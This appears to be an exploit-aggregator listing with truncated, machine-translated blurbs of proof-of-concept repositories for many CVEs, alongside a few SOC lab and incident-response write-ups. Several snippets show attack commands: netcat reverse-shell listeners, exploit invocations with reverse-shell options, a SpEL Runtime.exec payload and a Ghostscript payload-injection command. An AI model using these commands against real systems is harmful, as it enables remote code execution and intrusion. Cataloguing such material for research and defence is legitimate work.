CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - RCE autenticata tramite upload di plugin CVE-2025-50286 Grav CMS v1.7.48 con Admin Plugin v1.10.48 è vulnerabile a Remote Code Execution RCE tramite la funzionalità di upload dei plugin "Direct Install", consentendo ad amministratori autenticati di...

CVE-2025-68613-poc-via-copilot

✅ CVE-2025-68613 n8n — Analisi completa della vulnerabilità RCE da injection di espressioni Data : 23 dicembre 2024 Stato : ✅ RCE completamente verificata con successo Punteggio CVSS : 10.0 Critico 🎉 Payload RCE di successo root@kitploit: function var require = this.process.mainModule.require; va...

bhyve

bhyve Codice exploit per CVE-2022-23087...

CVE-2024-43468

Exploit di injection SQL non autenticate in Microsoft Configuration Manager ConfigMgr / SCCM 2403 CVE-2024-43468 Questo script sfrutta la CVE-2024-43468 che consente a un attaccante non autenticato, con accesso di rete a un Management Point, di eseguire query SQL arbitrarie sul database del sito...

CVE-2018-11776

CVE-2018-11776 Ambiente per CVE-2018-11776 / S2-057 Dimostrazione Avvia il server root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080...

LibSSH-exploit

LibSSH-exploit CVE-2018-10933 Verwundbare SSH-Server - libssh vor 0.8.4 Sendet eine 'user authorized'-Nachricht, die RCE ermöglicht. Verwendung: ''' Libsshexploit.py '''...

Incident-Response-Report-TeamCity-Compromise-CVE-2024-27198-

Rapporto di Incident Response: Compromissione TeamCity CVE-2024-27198 Analista: Belal Abdelsalam Data: Luglio 2026 Laboratorio/Ambiente: CyberDefenders JetBrains 📄 Riepilogo Esecutivo Questo report documenta l'analisi forense di un server JetBrains TeamCity compromesso versione 2023.11.3...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – Requisito di password debole nell'admin-center che porta al caricamento di plugin dannosi in i-doit Pro 25 e versioni precedenti i-doit Pro 25 e versioni precedenti sono vulnerabili a una vulnerabilità di requisiti di password deboli nell'admin-center e al caricamento di plugin...

CVE-2026-14894

CVE-2026-14894 — Super Forms ≤ 6.3.313 Übersicht Nicht authentifizierter beliebiger Datei-Upload → Remote Code Execution im WordPress-Plugin Super Forms Versionen ≤ 6.3.313. Die Schwachstelle befindet sich im AJAX-Handler , der Datei-Uploads über ein -Feld verarbeitet, ohne die Dateiendung oder d...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduzione Ho affrontato una vulnerabilità zero-day di SharePoint chiamata ToolShell CVE-2025-53770 nel laboratorio LetsDefend. Ho simulato un attacco zero-day reale in cui una richiesta POST dannosa ha aggirato l'autenticazione,...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Nicht authentifizierte RCE in Cacti 1.2.22 Dieses Repository enthält einen Exploit für CVE-2022-46169, der Cacti 1.2.22 betrifft. Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebigen Code auf dem betroffenen System auszuführen. Wenn Sie eine...

CVE-2025-2294

CVE-2025-2294 🚨 CVE-2025-2294 - Vulnerabilità di Local File Inclusion LFI nel plugin Kubio AI Page Builder per WordPress 🧱 🔍 Panoramica CVE-2025-2294 è una vulnerabilità critica 🔥 di Local File Inclusion LFI che colpisce il plugin Kubio AI Page Builder per WordPress versioni fino alla 2.5.1...

CVE-2019-9978

CVE-2019-9978 – Proof of Concept PoC Funktionierender PoC für die Schwachstelle CVE-2019-9978 , die das Plugin Social Warfare = 3.5.2 betrifft und Remote Code Execution RCE in WordPress ermöglicht. 📌 Beschreibung Dieser Exploit missbraucht den Parameter swpdebug=loadoptions, um das Laden eines...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 Caricamento Arbitrario di File / RCE CVE-2019-12169 Titolo Exploit: ATutor 2.2.4 Caricamento Arbitrario di File / RCE CVE-2019-12169 Data: 5/24/19 Autore Exploit: liquidsky JMcPeters Homepage del Venditore: https://atutor.github.io/ Link del Software:...

CVE-2023-36664

CVE-2023-36664 : Ghostscript esecuzione di codice remoto Prova di concetto per la CVE-2023-36664. Utilizzo Per inserire un payload in un file .eps : root@kitploit: python3 poc.py -f "filename" --payload "command" python3 poc.py -f file.eps --payload firefox Per inserire un payload di reverse shel...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Utilizzo Esecuzione comandi: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

CVE-2026-42588

CVE-2026-42588 - Sfruttamento di Esecuzione di Codice Remoto in Apache ActiveMQ Jolokia Gravità : 🔴 Alta CVSS 4.0: 8.1 Tipo di vulnerabilità : CWE-94 — Iniezione di codice Versioni interessate : Apache ActiveMQ Prerequisito di sfruttamento : Credenziali di autenticazione per Web Console predefini...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp Eine unbedeutende Schwachstelle, nur zur Dokumentation. 1. Redis starten, Port 27017 2. Projekt starten, Spring Boot läuft auf Port 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host:...

CVE-2026-47668

CVE-2026-47668 — DbGate Esecuzione di Codice Remota RCE non autenticata in DbGate JSON Script Runner dbgate-serve ≤ 7.1.8. Strumento di valutazione: CVE-2026-47668.py — solo test autorizzati...

CVE-2022-36067-vm2-POC-webapp

CVE-2022-36067-vm2-POC-webapp Passaggi per riprodurre 1. installare vm2 globalmente prima npm -install [email protected] -g 2. esegui: node index.js 3. visita http://localhost:5000/poc 4. Carica il file poc es. poc2.js o codice e osserva RCE...